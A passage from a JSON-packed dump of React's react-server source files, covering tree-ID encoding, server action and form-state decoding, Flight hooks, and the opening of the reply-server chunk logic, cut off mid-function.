final result.\n\nexport type TreeContext = {\n  +id: number,\n  +overflow: string,\n};\n\nexport const emptyTreeContext = {\n  id: 1,\n  overflow: '',\n};\n\nexport function getTreeId(context: TreeContext): string {\n  const overflow = context.overflow;\n  const idWithLeadingBit = context.id;\n  const id = idWithLeadingBit & ~getLeadingBit(idWithLeadingBit);\n  return id.toString(32) + overflow;\n}\n\nexport function pushTreeContext(\n  baseContext: TreeContext,\n  totalChildren: number,\n  index: number,\n): TreeContext {\n  const baseIdWithLeadingBit = baseContext.id;\n  const baseOverflow = baseContext.overflow;\n\n  // The leftmost 1 marks the end of the sequence, non-inclusive. It's not part\n  // of the id; we use it to account for leading 0s.\n  const baseLength = getBitLength(baseIdWithLeadingBit) - 1;\n  const baseId = baseIdWithLeadingBit & ~(1 << baseLength);\n\n  const slot = index + 1;\n  const length = getBitLength(totalChildren) + baseLength;\n\n  // 30 is the max length we can store without overflowing, taking into\n  // consideration the leading 1 we use to mark the end of the sequence.\n  if (length > 30) {\n    // We overflowed the bitwise-safe range. Fall back to slower algorithm.\n    // This branch assumes the length of the base id is greater than 5; it won't\n    // work for smaller ids, because you need 5 bits per character.\n    //\n    // We encode the id in multiple steps: first the base id, then the\n    // remaining digits.\n    //\n    // Each 5 bit sequence corresponds to a single base 32 character. So for\n    // example, if the current id is 23 bits long, we can convert 20 of those\n    // bits into a string of 4 characters, with 3 bits left over.\n    //\n    // First calculate how many bits in the base id represent a complete\n    // sequence of characters.\n    const numberOfOverflowBits = baseLength - (baseLength % 5);\n\n    // Then create a bitmask that selects only those bits.\n    const newOverflowBits = (1 << numberOfOverflowBits) - 1;\n\n    // Select the bits, and convert them to a base 32 string.\n    const newOverflow = (baseId & newOverflowBits).toString(32);\n\n    // Now we can remove those bits from the base id.\n    const restOfBaseId = baseId >> numberOfOverflowBits;\n    const restOfBaseLength = baseLength - numberOfOverflowBits;\n\n    // Finally, encode the rest of the bits using the normal algorithm. Because\n    // we made more room, this time it won't overflow.\n    const restOfLength = getBitLength(totalChildren) + restOfBaseLength;\n    const restOfNewBits = slot << restOfBaseLength;\n    const id = restOfNewBits | restOfBaseId;\n    const overflow = newOverflow + baseOverflow;\n    return {\n      id: (1 << restOfLength) | id,\n      overflow,\n    };\n  } else {\n    // Normal path\n    const newBits = slot << baseLength;\n    const id = newBits | baseId;\n    const overflow = baseOverflow;\n    return {\n      id: (1 << length) | id,\n      overflow,\n    };\n  }\n}\n\nfunction getBitLength(number: number): number {\n  return 32 - clz32(number);\n}\n\nfunction getLeadingBit(id: number) {\n  return 1 << (getBitLength(id) - 1);\n}\n\n// TODO: Math.clz32 is supported in Node 12+. Maybe we can drop the fallback.\nconst clz32 = Math.clz32 ? Math.clz32 : clz32Fallback;\n\n// Count leading zeros.\n// Based on:\n// https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Math/clz32\nconst log = Math.log;\nconst LN2 = Math.LN2;\nfunction clz32Fallback(x: number): number {\n  const asUint = x >>> 0;\n  if (asUint === 0) {\n    return 32;\n  }\n  return (31 - ((log(asUint) / LN2) | 0)) | 0;\n}\n"
  },
  {
    "path": "packages/react-server/src/ReactFizzViewTransitionComponent.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n * @flow\n */\n\nimport type {ViewTransitionProps, ViewTransitionClass} from 'shared/ReactTypes';\nimport type {TreeContext} from './ReactFizzTreeContext';\nimport type {ResumableState} from './ReactFizzConfig';\n\nimport {getTreeId} from './ReactFizzTreeContext';\nimport {makeId} from './ReactFizzConfig';\n\nexport function getViewTransitionName(\n  props: ViewTransitionProps,\n  treeContext: TreeContext,\n  resumableState: ResumableState,\n): string {\n  if (props.name != null && props.name !== 'auto') {\n    return props.name;\n  }\n  const treeId = getTreeId(treeContext);\n  return makeId(resumableState, treeId, 0);\n}\n\nfunction getClassNameByType(classByType: ?ViewTransitionClass): ?string {\n  if (classByType == null || typeof classByType === 'string') {\n    return classByType;\n  }\n  let className: ?string = null;\n  const activeTypes = null; // TODO: Support passing active types.\n  if (activeTypes !== null) {\n    for (let i = 0; i < activeTypes.length; i++) {\n      const match = classByType[activeTypes[i]];\n      if (match != null) {\n        if (match === 'none') {\n          // If anything matches \"none\" that takes precedence over any other\n          // type that also matches.\n          return 'none';\n        }\n        if (className == null) {\n          className = match;\n        } else {\n          className += ' ' + match;\n        }\n      }\n    }\n  }\n  if (className == null) {\n    // We had no other matches. Match the default for this configuration.\n    return classByType.default;\n  }\n  return className;\n}\n\nexport function getViewTransitionClassName(\n  defaultClass: ?ViewTransitionClass,\n  eventClass: ?ViewTransitionClass,\n): ?string {\n  const className: ?string = getClassNameByType(defaultClass);\n  const eventClassName: ?string = getClassNameByType(eventClass);\n  if (eventClassName == null) {\n    return className === 'auto' ? null : className;\n  }\n  if (eventClassName === 'auto') {\n    return null;\n  }\n  return eventClassName;\n}\n"
  },
  {
    "path": "packages/react-server/src/ReactFlightActionServer.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n * @flow\n */\n\nimport type {ReactFormState} from 'shared/ReactTypes';\n\nimport type {\n  ServerManifest,\n  ClientReference as ServerReference,\n} from 'react-client/src/ReactFlightClientConfig';\n\nimport {\n  resolveServerReference,\n  preloadModule,\n  requireModule,\n} from 'react-client/src/ReactFlightClientConfig';\n\nimport {\n  createResponse,\n  close,\n  getRoot,\n  MAX_BOUND_ARGS,\n} from './ReactFlightReplyServer';\n\ntype ServerReferenceId = any;\n\nfunction bindArgs(fn: any, args: any) {\n  if (args.length > MAX_BOUND_ARGS) {\n    throw new Error(\n      'Server Function has too many bound arguments. Received ' +\n        args.length +\n        ' but the limit is ' +\n        MAX_BOUND_ARGS +\n        '.',\n    );\n  }\n\n  return fn.bind.apply(fn, [null].concat(args));\n}\n\nfunction loadServerReference<T>(\n  bundlerConfig: ServerManifest,\n  metaData: {\n    id: ServerReferenceId,\n    bound: null | Promise<Array<any>>,\n  },\n): Promise<T> {\n  const id: ServerReferenceId = metaData.id;\n  if (typeof id !== 'string') {\n    return (null: any);\n  }\n  const serverReference: ServerReference<T> =\n    resolveServerReference<$FlowFixMe>(bundlerConfig, id);\n  // We expect most servers to not really need this because you'd just have all\n  // the relevant modules already loaded but it allows for lazy loading of code\n  // if needed.\n  const preloadPromise = preloadModule(serverReference);\n  const bound = metaData.bound;\n  if (bound instanceof Promise) {\n    return Promise.all([(bound: any), preloadPromise]).then(\n      ([args]: Array<any>) => bindArgs(requireModule(serverReference), args),\n    );\n  } else if (preloadPromise) {\n    return Promise.resolve(preloadPromise).then(() =>\n      requireModule(serverReference),\n    );\n  } else {\n    // Synchronously available\n    return Promise.resolve(requireModule(serverReference));\n  }\n}\n\nfunction decodeBoundActionMetaData(\n  body: FormData,\n  serverManifest: ServerManifest,\n  formFieldPrefix: string,\n  arraySizeLimit: void | number,\n): {id: ServerReferenceId, bound: null | Promise<Array<any>>} {\n  // The data for this reference is encoded in multiple fields under this prefix.\n  const actionResponse = createResponse(\n    serverManifest,\n    formFieldPrefix,\n    undefined,\n    body,\n    arraySizeLimit,\n  );\n  close(actionResponse);\n  const refPromise = getRoot<{\n    id: ServerReferenceId,\n    bound: null | Promise<Array<any>>,\n  }>(actionResponse);\n  // Force it to initialize\n  // $FlowFixMe\n  refPromise.then(() => {});\n  if (refPromise.status !== 'fulfilled') {\n    // $FlowFixMe\n    throw refPromise.reason;\n  }\n  return refPromise.value;\n}\n\nexport function decodeAction<T>(\n  body: FormData,\n  serverManifest: ServerManifest,\n): Promise<() => T> | null {\n  // We're going to create a new formData object that holds all the fields except\n  // the implementation details of the action data.\n  const formData = new FormData();\n\n  let action: Promise<(formData: FormData) => T> | null = null;\n  const seenActions = new Set<string>();\n\n  // $FlowFixMe[prop-missing]\n  body.forEach((value: string | File, key: string) => {\n    if (!key.startsWith('$ACTION_')) {\n      // $FlowFixMe[incompatible-call]\n      formData.append(key, value);\n      return;\n    }\n    // Later actions may override earlier actions if a button is used to\n    // override the default form action. However, we don't expect the same\n    // action ref field to be sent multiple times in legitimate form data.\n    if (key.startsWith('$ACTION_REF_')) {\n      if (seenActions.has(key)) {\n        return;\n      }\n      seenActions.add(key);\n      const formFieldPrefix = '$ACTION_' + key.slice(12) + ':';\n      const metaData = decodeBoundActionMetaData(\n        body,\n        serverManifest,\n        formFieldPrefix,\n      );\n      action = loadServerReference(serverManifest, metaData);\n      return;\n    }\n    // A simple action with no bound arguments may appear twice in the form data\n    // if a button specifies the same action as the default form action. We only\n    // load the first one, as they're guaranteed to be identical.\n    if (key.startsWith('$ACTION_ID_')) {\n      if (seenActions.has(key)) {\n        return;\n      }\n      seenActions.add(key);\n      const id = key.slice(11);\n      action = loadServerReference(serverManifest, {\n        id,\n        bound: null,\n      });\n      return;\n    }\n  });\n\n  if (action === null) {\n    return null;\n  }\n  // Return the action with the remaining FormData bound to the first argument.\n  return action.then(fn => fn.bind(null, formData));\n}\n\nexport function decodeFormState<S>(\n  actionResult: S,\n  body: FormData,\n  serverManifest: ServerManifest,\n): Promise<ReactFormState<S, ServerReferenceId> | null> {\n  const keyPath = body.get('$ACTION_KEY');\n  if (typeof keyPath !== 'string') {\n    // This form submission did not include any form state.\n    return Promise.resolve(null);\n  }\n  // Search through the form data object to get the reference id and the number\n  // of bound arguments. This repeats some of the work done in decodeAction.\n  let metaData = null;\n  // $FlowFixMe[prop-missing]\n  body.forEach((value: string | File, key: string) => {\n    if (key.startsWith('$ACTION_REF_')) {\n      const formFieldPrefix = '$ACTION_' + key.slice(12) + ':';\n      metaData = decodeBoundActionMetaData(\n        body,\n        serverManifest,\n        formFieldPrefix,\n      );\n    }\n    // We don't check for the simple $ACTION_ID_ case because form state actions\n    // are always bound to the state argument.\n  });\n  if (metaData === null) {\n    // Should be unreachable.\n    return Promise.resolve(null);\n  }\n  const referenceId = metaData.id;\n  return Promise.resolve(metaData.bound).then(bound => {\n    if (bound === null) {\n      // Should be unreachable because form state actions are always bound to the\n      // state argument.\n      return null;\n    }\n    // The form action dispatch method is always bound to the initial state.\n    // But when comparing signatures, we compare to the original unbound action.\n    // Subtract one from the arity to account for this.\n    const boundArity = bound.length - 1;\n    return [actionResult, keyPath, referenceId, boundArity];\n  });\n}\n"
  },
  {
    "path": "packages/react-server/src/ReactFlightAsyncSequence.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n * @flow\n */\n\nimport type {\n  ReactDebugInfo,\n  ReactComponentInfo,\n  ReactStackTrace,\n} from 'shared/ReactTypes';\n\nexport const IO_NODE = 0;\nexport const PROMISE_NODE = 1;\nexport const AWAIT_NODE = 2;\nexport const UNRESOLVED_PROMISE_NODE = 3;\nexport const UNRESOLVED_AWAIT_NODE = 4;\n\ntype PromiseWithDebugInfo = interface extends Promise<any> {\n  _debugInfo?: ReactDebugInfo,\n};\n\nexport type IONode = {\n  tag: 0,\n  owner: null | ReactComponentInfo,\n  stack: null | ReactStackTrace, // callsite that spawned the I/O\n  start: number, // start time when the first part of the I/O sequence started\n  end: number, // we typically don't use this. only when there's no promise intermediate.\n  promise: null, // not used on I/O\n  awaited: null, // I/O is only blocked on external.\n  previous: null | AwaitNode | UnresolvedAwaitNode, // the preceeding await that spawned this new work\n};\n\nexport type PromiseNode = {\n  tag: 1,\n  owner: null | ReactComponentInfo,\n  stack: null | ReactStackTrace, // callsite that created the Promise\n  start: number, // start time when the Promise was created\n  end: number, // end time when the Promise was resolved.\n  promise: WeakRef<PromiseWithDebugInfo>, // a reference to this Promise if still referenced\n  awaited: null | AsyncSequence, // the thing that ended up resolving this promise\n  previous: null | AsyncSequence, // represents what the last return of an async function depended on before returning\n};\n\nexport type AwaitNode = {\n  tag: 2,\n  owner: null | ReactComponentInfo,\n  stack: null | ReactStackTrace, // callsite that awaited (using await, .then(), Promise.all(), ...)\n  start: number, // when we started blocking. This might be later than the I/O started.\n  end: number, // when we unblocked. This might be later than the I/O resolved if there's CPU time.\n  promise: WeakRef<PromiseWithDebugInfo>, // a reference to this Promise if still referenced\n  awaited: null | AsyncSequence, // the promise we were waiting on\n  previous: null | AsyncSequence, // the sequence that was blocking us from awaiting in the first place\n};\n\nexport type UnresolvedPromiseNode = {\n  tag: 3,\n  owner: null | ReactComponentInfo,\n  stack: null | ReactStackTrace, // callsite that created the Promise\n  start: number, // start time when the Promise was created\n  end: -1.1, // set when we resolve.\n  promise: WeakRef<PromiseWithDebugInfo>, // a reference to this Promise if still referenced\n  awaited: null | AsyncSequence, // the thing that ended up resolving this promise\n  previous: null, // where we created the promise is not interesting since creating it doesn't mean waiting.\n};\n\nexport type UnresolvedAwaitNode = {\n  tag: 4,\n  owner: null | ReactComponentInfo,\n  stack: null | ReactStackTrace, // callsite that awaited (using await, .then(), Promise.all(), ...)\n  start: number, // when we started blocking. This might be later than the I/O started.\n  end: -1.1, // set when we resolve.\n  promise: WeakRef<PromiseWithDebugInfo>, // a reference to this Promise if still referenced\n  awaited: null | AsyncSequence, // the promise we were waiting on\n  previous: null | AsyncSequence, // the sequence that was blocking us from awaiting in the first place\n};\n\nexport type AsyncSequence =\n  | IONode\n  | PromiseNode\n  | AwaitNode\n  | UnresolvedPromiseNode\n  | UnresolvedAwaitNode;\n"
  },
  {
    "path": "packages/react-server/src/ReactFlightCallUserSpace.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n * @flow\n */\n\nimport type {LazyComponent} from 'react/src/ReactLazy';\n\nimport type {ReactComponentInfo} from 'shared/ReactTypes';\n\nimport type {ReactClientValue} from './ReactFlightServer';\n\nimport {setCurrentOwner} from './flight/ReactFlightCurrentOwner';\n\n// These indirections exists so we can exclude its stack frame in DEV (and anything below it).\n// TODO: Consider marking the whole bundle instead of these boundaries.\n\nconst callComponent = {\n  react_stack_bottom_frame: function <Props, R>(\n    Component: (p: Props, arg: void) => R,\n    props: Props,\n    componentDebugInfo: ReactComponentInfo,\n  ): R {\n    // The secondArg is always undefined in Server Components since refs error early.\n    const secondArg = undefined;\n    setCurrentOwner(componentDebugInfo);\n    try {\n      return Component(props, secondArg);\n    } finally {\n      setCurrentOwner(null);\n    }\n  },\n};\n\nexport const callComponentInDEV: <Props, R>(\n  Component: (p: Props, arg: void) => R,\n  props: Props,\n  componentDebugInfo: ReactComponentInfo,\n) => R = __DEV__\n  ? // We use this technique to trick minifiers to preserve the function name.\n    (callComponent.react_stack_bottom_frame.bind(callComponent): any)\n  : (null: any);\n\nconst callLazyInit = {\n  react_stack_bottom_frame: function (lazy: LazyComponent<any, any>): any {\n    const payload = lazy._payload;\n    const init = lazy._init;\n    return init(payload);\n  },\n};\n\nexport const callLazyInitInDEV: (lazy: LazyComponent<any, any>) => any = __DEV__\n  ? // We use this technique to trick minifiers to preserve the function name.\n    (callLazyInit.react_stack_bottom_frame.bind(callLazyInit): any)\n  : (null: any);\n\nconst callIterator = {\n  react_stack_bottom_frame: function (\n    iterator: $AsyncIterator<ReactClientValue, ReactClientValue, void>,\n    progress: (\n      entry:\n        | {done: false, +value: ReactClientValue, ...}\n        | {done: true, +value: ReactClientValue, ...},\n    ) => void,\n    error: (reason: mixed) => void,\n  ): void {\n    iterator.next().then(progress, error);\n  },\n};\n\nexport const callIteratorInDEV: (\n  iterator: $AsyncIterator<ReactClientValue, ReactClientValue, void>,\n  progress: (\n    entry:\n      | {done: false, +value: ReactClientValue, ...}\n      | {done: true, +value: ReactClientValue, ...},\n  ) => void,\n  error: (reason: mixed) => void,\n) => void = __DEV__\n  ? // We use this technique to trick minifiers to preserve the function name.\n    (callIterator.react_stack_bottom_frame.bind(callIterator): any)\n  : (null: any);\n"
  },
  {
    "path": "packages/react-server/src/ReactFlightHooks.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n * @flow\n */\n\nimport type {Dispatcher} from 'react-reconciler/src/ReactInternalTypes';\nimport type {Request} from './ReactFlightServer';\nimport type {Thenable, Usable, ReactComponentInfo} from 'shared/ReactTypes';\nimport type {ThenableState} from './ReactFlightThenable';\nimport {\n  REACT_MEMO_CACHE_SENTINEL,\n  REACT_CONTEXT_TYPE,\n} from 'shared/ReactSymbols';\nimport {createThenableState, trackUsedThenable} from './ReactFlightThenable';\nimport {isClientReference} from './ReactFlightServerConfig';\n\nlet currentRequest = null;\nlet thenableIndexCounter = 0;\nlet thenableState = null;\nlet currentComponentDebugInfo = null;\n\nexport function prepareToUseHooksForRequest(request: Request) {\n  currentRequest = request;\n}\n\nexport function resetHooksForRequest() {\n  currentRequest = null;\n}\n\nexport function prepareToUseHooksForComponent(\n  prevThenableState: ThenableState | null,\n  componentDebugInfo: null | ReactComponentInfo,\n) {\n  thenableIndexCounter = 0;\n  thenableState = prevThenableState;\n  if (__DEV__) {\n    currentComponentDebugInfo = componentDebugInfo;\n  }\n}\n\nexport function getThenableStateAfterSuspending(): ThenableState {\n  // If you use() to Suspend this should always exist but if you throw a Promise instead,\n  // which is not really supported anymore, it will be empty. We use the empty set as a\n  // marker to know if this was a replay of the same component or first attempt.\n  const state = thenableState || createThenableState();\n  if (__DEV__) {\n    // This is a hack but we stash the debug info here so that we don't need a completely\n    // different data structure just for this in DEV. Not too happy about it.\n    (state: any)._componentDebugInfo = currentComponentDebugInfo;\n    currentComponentDebugInfo = null;\n  }\n  thenableState = null;\n  return state;\n}\n\nexport function getTrackedThenablesAfterRendering(): null | Array<\n  Thenable<any>,\n> {\n  return thenableState;\n}\n\nexport const HooksDispatcher: Dispatcher = {\n  readContext: (unsupportedContext: any),\n\n  use,\n  useCallback<T>(callback: T): T {\n    return callback;\n  },\n  useContext: (unsupportedContext: any),\n  useEffect: (unsupportedHook: any),\n  useImperativeHandle: (unsupportedHook: any),\n  useLayoutEffect: (unsupportedHook: any),\n  useInsertionEffect: (unsupportedHook: any),\n  useMemo<T>(nextCreate: () => T): T {\n    return nextCreate();\n  },\n  useReducer: (unsupportedHook: any),\n  useRef: (unsupportedHook: any),\n  useState: (unsupportedHook: any),\n  useDebugValue(): void {},\n  useDeferredValue: (unsupportedHook: any),\n  useTransition: (unsupportedHook: any),\n  useSyncExternalStore: (unsupportedHook: any),\n  useId,\n  useHostTransitionStatus: (unsupportedHook: any),\n  useFormState: (unsupportedHook: any),\n  useActionState: (unsupportedHook: any),\n  useOptimistic: (unsupportedHook: any),\n  useMemoCache(size: number): Array<any> {\n    const data = new Array<any>(size);\n    for (let i = 0; i < size; i++) {\n      data[i] = REACT_MEMO_CACHE_SENTINEL;\n    }\n    return data;\n  },\n  useCacheRefresh(): <T>(?() => T, ?T) => void {\n    return unsupportedRefresh;\n  },\n  useEffectEvent: (unsupportedHook: any),\n};\n\nfunction unsupportedHook(): void {\n  throw new Error('This Hook is not supported in Server Components.');\n}\n\nfunction unsupportedRefresh(): void {\n  throw new Error(\n    'Refreshing the cache is not supported in Server Components.',\n  );\n}\n\nfunction unsupportedContext(): void {\n  throw new Error('Cannot read a Client Context from a Server Component.');\n}\n\nfunction useId(): string {\n  if (currentRequest === null) {\n    throw new Error('useId can only be used while React is rendering');\n  }\n  const id = currentRequest.identifierCount++;\n  // use 'S' for Flight components to distinguish from 'R' and 'r' in Fizz/Client\n  return '_' + currentRequest.identifierPrefix + 'S_' + id.toString(32) + '_';\n}\n\nfunction use<T>(usable: Usable<T>): T {\n  if (\n    (usable !== null && typeof usable === 'object') ||\n    typeof usable === 'function'\n  ) {\n    // $FlowFixMe[method-unbinding]\n    if (typeof usable.then === 'function') {\n      // This is a thenable.\n      const thenable: Thenable<T> = (usable: any);\n\n      // Track the position of the thenable within this fiber.\n      const index = thenableIndexCounter;\n      thenableIndexCounter += 1;\n\n      if (thenableState === null) {\n        thenableState = createThenableState();\n      }\n      return trackUsedThenable(thenableState, thenable, index);\n    } else if (usable.$$typeof === REACT_CONTEXT_TYPE) {\n      unsupportedContext();\n    }\n  }\n\n  if (isClientReference(usable)) {\n    if (usable.value != null && usable.value.$$typeof === REACT_CONTEXT_TYPE) {\n      // Show a more specific message since it's a common mistake.\n      throw new Error('Cannot read a Client Context from a Server Component.');\n    } else {\n      throw new Error('Cannot use() an already resolved Client Reference.');\n    }\n  } else {\n    throw new Error(\n      // eslint-disable-next-line react-internal/safe-string-coercion\n      'An unsupported type was passed to use(): ' + String(usable),\n    );\n  }\n}\n"
  },
  {
    "path": "packages/react-server/src/ReactFlightReplyServer.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n * @flow\n */\n\nimport type {Thenable} from 'shared/ReactTypes';\n\n// The server acts as a Client of itself when resolving Server References.\n// That's why we import the Client configuration from the Server.\n// Everything is aliased as their Server equivalence for clarity.\nimport type {\n  ServerReferenceId,\n  ServerManifest,\n  ClientReference as ServerReference,\n} from 'react-client/src/ReactFlightClientConfig';\n\nimport type {TemporaryReferenceSet} from './ReactFlightServerTemporaryReferences';\n\nimport {\n  resolveServerReference,\n  preloadModule,\n  requireModule,\n} from 'react-client/src/ReactFlightClientConfig';\n\nimport {\n  createTemporaryReference,\n  registerTemporaryReference,\n} from './ReactFlightServerTemporaryReferences';\nimport {ASYNC_ITERATOR} from 'shared/ReactSymbols';\n\nimport hasOwnProperty from 'shared/hasOwnProperty';\nimport getPrototypeOf from 'shared/getPrototypeOf';\nimport isArray from 'shared/isArray';\n\ninterface FlightStreamController {\n  enqueueModel(json: string): void;\n  close(json: string): void;\n  error(error: Error): void;\n}\n\nexport type JSONValue =\n  | number\n  | null\n  | boolean\n  | string\n  | {+[key: string]: JSONValue}\n  | $ReadOnlyArray<JSONValue>;\n\nconst PENDING = 'pending';\nconst BLOCKED = 'blocked';\nconst RESOLVED_MODEL = 'resolved_model';\nconst INITIALIZED = 'fulfilled';\nconst ERRORED = 'rejected';\n\nconst __PROTO__ = '__proto__';\n\ntype RESPONSE_SYMBOL_TYPE = 'RESPONSE_SYMBOL'; // Fake symbol type.\nconst RESPONSE_SYMBOL: RESPONSE_SYMBOL_TYPE = (Symbol(): any);\n\ntype PendingChunk<T> = {\n  status: 'pending',\n  value: null | Array<InitializationReference | (T => mixed)>,\n  reason: null | Array<InitializationReference | (mixed => mixed)>,\n  then(resolve: (T) => mixed, reject?: (mixed) => mixed): void,\n};\ntype BlockedChunk<T> = {\n  status: 'blocked',\n  value: null | Array<InitializationReference | (T => mixed)>,\n  reason: null | Array<InitializationReference | (mixed => mixed)>,\n  then(resolve: (T) => mixed, reject?: (mixed) => mixed): void,\n};\ntype ResolvedModelChunk<T> = {\n  status: 'resolved_model',\n  value: string,\n  reason: {id: number, [RESPONSE_SYMBOL_TYPE]: Response},\n  then(resolve: (T) => mixed, reject?: (mixed) => mixed): void,\n};\ntype InitializedChunk<T> = {\n  status: 'fulfilled',\n  value: T,\n  reason: null | NestedArrayContext,\n  then(resolve: (T) => mixed, reject?: (mixed) => mixed): void,\n};\ntype InitializedStreamChunk<\n  T: ReadableStream | $AsyncIterable<any, any, void>,\n> = {\n  status: 'fulfilled',\n  value: T,\n  reason: FlightStreamController,\n  then(resolve: (ReadableStream) => mixed, reject?: (mixed) => mixed): void,\n};\ntype ErroredChunk<T> = {\n  status: 'rejected',\n  value: null,\n  reason: mixed,\n  then(resolve: (T) => mixed, reject?: (mixed) => mixed): void,\n};\ntype SomeChunk<T> =\n  | PendingChunk<T>\n  | BlockedChunk<T>\n  | ResolvedModelChunk<T>\n  | InitializedChunk<T>\n  | ErroredChunk<T>;\n\n// $FlowFixMe[missing-this-annot]\nfunction ReactPromise(status: any, value: any, reason: any) {\n  this.status = status;\n  this.value = value;\n  this.reason = reason;\n}\n// We subclass Promise.prototype so that we get other methods like .catch\nReactPromise.prototype = (Object.create(Promise.prototype): any);\n// TODO: This doesn't return a new Promise chain unlike the real .then\nReactPromise.prototype.then = function <T>(\n  this: SomeChunk<T>,\n  resolve: (value: T) => mixed,\n  reject: ?(reason: mixed) => mixed,\n) {\n  const chunk: SomeChunk<T> = this;\n  // If we have resolved content, we try to initialize it first which\n  // might put us back into one of the other states.\n  switch (chunk.status) {\n    case RESOLVED_MODEL:\n      initializeModelChunk(chunk);\n      break;\n  }\n  // The status might have changed after initialization.\n  switch (chunk.status) {\n    case INITIALIZED:\n      if (typeof resolve === 'function') {\n        let inspectedValue = chunk.value;\n        // Recursively check if the value is itself a ReactPromise and if so if it points\n        // back to itself. This helps catch recursive thenables early error.\n        let cycleProtection = 0;\n        const visited = new Set<typeof ReactPromise>();\n        while (inspectedValue instanceof ReactPromise) {\n          cycleProtection++;\n          if (\n            inspectedValue === chunk ||\n            visited.has(inspectedValue) ||\n            cycleProtection > 1000\n          ) {\n            if (typeof reject === 'function') {\n              reject(new Error('Cannot have cyclic thenables.'));\n            }\n            return;\n          }\n          visited.add(inspectedValue);\n          if (inspectedValue.status === INITIALIZED) {\n            inspectedValue = inspectedValue.value;\n          } else {\n            // If this is lazily resolved, pending or blocked, it'll eventually become\n            // initialized and break the loop. Rejected also breaks it.\n            break;\n          }\n        }\n        resolve(chunk.value);\n      }\n      break;\n    case PENDING:\n    case BLOCKED:\n      if (typeof resolve === 'function') {\n        if (chunk.value === null) {\n          chunk.value = ([]: Array<InitializationReference | (T => mixed)>);\n        }\n        chunk.value.push(resolve);\n      }\n      if (typeof reject === 'function') {\n        if (chunk.reason === null) {\n          chunk.reason = ([]: Array<\n            InitializationReference | (mixed => mixed),\n          >);\n        }\n        chunk.reason.push(reject);\n      }\n      break;\n    default:\n      if (typeof reject === 'function') {\n        reject(chunk.reason);\n      }\n      break;\n  }\n};\n\nconst ObjectPrototype = Object.prototype;\nconst ArrayPrototype = Array.prototype;\n\nexport type Response = {\n  _bundlerConfig: ServerManifest,\n  _prefix: string,\n  _formData: FormData,\n  _chunks: Map<number, SomeChunk<any>>,\n  _closed: boolean,\n  _closedReason: mixed,\n  _temporaryReferences: void | TemporaryReferenceSet,\n  _rootArrayContexts: WeakMap<$ReadOnlyArray<mixed>, NestedArrayContext>,\n  _arraySizeLimit: number,\n};\n\nexport function getRoot<T>(response: Response): Thenable<T> {\n  const chunk = getChunk(response, 0);\n  return (chunk: any);\n}\n\nfunction createPendingChunk<T>(response: Response): PendingChunk<T> {\n  // $FlowFixMe[invalid-constructor] Flow doesn't support functions as constructors\n  return new ReactPromise(PENDING, null, null);\n}\n\nfunction wakeChunk<T>(\n  response: Response,\n  listeners: Array<InitializationReference | (T => mixed)>,\n  value: T,\n  chunk: InitializedChunk<T>,\n): void {\n  for (let i = 0; i < listeners.length; i++) {\n    const listener = listeners[i];\n    if (typeof listener === 'function') {\n      listener(value);\n    } else {\n      fulfillReference(response, listener, value, chunk.reason);\n    }\n  }\n}\n\nfunction rejectChunk(\n  response: Response,\n  listeners: Array<InitializationReference | (mixed => mixed)>,\n  error: mixed,\n): void {\n  for (let i = 0; i < listeners.length; i++) {\n    const listener = listeners[i];\n    if (typeof listener === 'function') {\n      listener(error);\n    } else {\n      rejectReference(response, listener.handler, error);\n    }\n  }\n}\n\nfunction wakeChunkIfInitialized<T>(\n  response: Response,\n  chunk: SomeChunk<T>,\n  resolveListeners: Array<InitializationReference | (T => mixed)>,\n  rejectListeners: null | Array<InitializationReference | (mixed => mixed)>,\n): void {\n  switch (chunk.status) {\n    case INITIALIZED:\n      wakeChunk(response, resolveListeners, chunk.value, chunk);\n      break;\n    case BLOCKED:\n    case PENDING:\n      if (chunk.value) {\n        for (let i = 0; i < resolveListeners.length; i++) {\n          chunk.value.push(resolveListeners[i]);\n        }\n      } else {\n        chunk.value = resolveListeners;\n      }\n\n      if (chunk.reason) {\n        if (rejectListeners) {\n          for (let i = 0; i < rejectListeners.length; i++) {\n            chunk.reason.push(rejectListeners[i]);\n          }\n        }\n      } else {\n        chunk.reason = rejectListeners;\n      }\n      break;\n    case ERRORED:\n      if (rejectListeners) {\n        rejectChunk(response, rejectListeners, chunk.reason);\n      }\n      break;\n  }\n}\n\nfunction triggerErrorOnChunk<T>(\n  response: Response,\n  chunk: SomeChunk<T>,\n  error: mixed,\n): void {\n  if (chunk.status !== PENDING && chunk.status !== BLOCKED) {\n    // If we get more data to an already resolved ID, we assume that it's\n    // a stream chunk since any other row shouldn't have more than one entry.\n    const streamChunk: InitializedStreamChunk<any> = (chunk: any);\n    const controller = streamChunk.reason;\n    // $FlowFixMe[incompatible-call]: The error method should accept mixed.\n    controller.error(error);\n    return;\n  }\n  const listeners = chunk.reason;\n  const erroredChunk: ErroredChunk<T> = (chunk: any);\n  erroredChunk.status = ERRORED;\n  erroredChunk.reason = error;\n  if (listeners !== null) {\n    rejectChunk(response, listeners, error);\n  }\n}\n\nfunction createResolvedModelChunk<T>(\n  response: Response,\n  value: string,\n  id: number,\n): ResolvedModelChunk<T> {\n  // $FlowFixMe[invalid-constructor] Flow doesn't support functions as constructors\n  return new ReactPromise(RESOLVED_MODEL, value, {\n    id,\n    [RESPONSE_SYMBOL]: response,\n  });\n}\n\nfunction createErroredChunk<T>(\n  response: Response,\n  reason: mixed,\n): ErroredChunk<T> {\n  // $FlowFixMe[invalid-constructor] Flow doesn't support functions as constructors\n  return new ReactPromise(ERRORED, null, reason);\n}\n\nfunction resolveModelChunk<T>(\n  response: Response,\n  chunk: SomeChunk<T>,\n  value: string,\n  id: 